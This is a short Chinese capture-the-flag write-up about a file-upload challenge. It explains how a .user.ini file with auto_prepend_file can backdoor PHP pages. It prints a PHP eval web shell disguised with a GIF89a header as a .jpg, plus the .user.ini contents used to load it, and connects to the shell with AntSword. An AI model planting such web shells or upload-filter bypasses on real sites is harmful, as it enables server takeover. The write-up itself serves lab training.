知识点:
.user.ini文件
PHP_INI_*
模式的定义
模式 | 含义 |
---|---|
PHP_INI_USER | 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定 |
PHP_INI_PERDIR | 可在 php.ini,.htaccess 或 httpd.conf 中设定 |
PHP_INI_SYSTEM | 可在 php.ini 或 httpd.conf 中设定 |
PHP_INI_ALL | 可在任何地方设定 |
也就是说.user.ini是由用户自定义的。
虽然许多敏感的配置项,都基本是PHP_INI_SYSTEM模式的,但是仍然可以利用.user.ini文件来构造一个后门。
利用的配置项:
auto_prepend_file 指定一个文件,自动包含在要执行的文件前
auto_append_file 指定一个文件,自动包含在要执行的文件后
使用该设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。
于是我们就可以用这两个配置来包含木马文件,当我们访问index.php时,就会自动的包含木马文件。
解题:
先写一个木马文件a.jpg
,因为限制了是img,且将木马后缀改为jpg上传失败,应该是检测了文件头,于是加上文件头GIF89a
,上传成功。
GIF89a
<script language="PHP"> @eval($_POST['pass']); </script>
然后创建一个.user.ini
文件,在里面写上配置项,包含我们要上传的木马文件a.jpg
:
GIF89a
auto_prepend_file=a.jpg
然后将两个文件上传:
可以看到在上传路径uploads/76d9f00467e5ee6abc3ca60892ef304e
上有我们上传的两个文件和index.php
。
蚁剑链接:
http://45fbbdef-40b8-4f6e-bbfd-14816eb8dd19.node3.buuoj.cn/uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php